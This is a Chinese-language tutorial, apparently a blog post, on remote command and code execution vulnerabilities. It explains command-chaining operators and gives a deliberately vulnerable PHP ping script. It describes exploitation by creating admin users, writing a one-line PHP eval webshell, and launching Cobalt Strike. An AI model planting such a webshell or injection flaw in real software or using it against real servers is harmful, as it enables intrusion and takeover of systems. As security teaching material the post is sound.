RCE(远程命令/代码执行)

一、远程命令(command)执行

原理

系统对用户输入的参数过滤不严,导致用户可以输入&、|、||等命令连接符,拼接并执行命令

利用条件

1、应用调用执行系统命令的函数
2、将用户输入作为系统命令的参数拼接到了命令行中
3、没有对用户输入进行过滤或过滤不严

危害

1、继承Web服务程序的权限去执行系统命令
2、反弹shell
3、控制整个网站甚至控制服务器
4、进一步内网渗透

拼接符

示例含义
cmd1 | cmd2只执行cmd2
cmd1 || cmd2只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux系统中支持用分号 (;)执行多个命令,cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2

二、示例

利用代码

<?php
echo system("ping -n 4 ".$_GET['ip']);
?>

方式一:创建用户

访问利用文件,通过 | 等命令拼接符拼接命令,进而创建用户,并添加到管理员组,再通过3389端口远程连接

创建用户
在这里插入图片描述

添加到管理员组
在这里插入图片描述远程连接
在这里插入图片描述在这里插入图片描述

方式二:写入木马文件

通过 | 符号拼接命令,写入一句话木马文件,再通过蚁剑连接

木马文件:

<?php
@eval($_POST['cmd']);
?>

在这里插入图片描述连接
在这里插入图片描述

方式三:CS上线

开启CS服务端
在这里插入图片描述打开CS客户端,生成攻击脚本
在这里插入图片描述
在这里插入图片描述
复制攻击脚本
在这里插入图片描述
拼接脚本命令,并且执行
在这里插入图片描述效果
在这里插入图片描述

三、命令执行与代码执行区别

1、涉及到的函数不同
2、执行的方式不同
命令执行:一般指操作系统命令
远程代码执行:一般指的是脚本代码

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值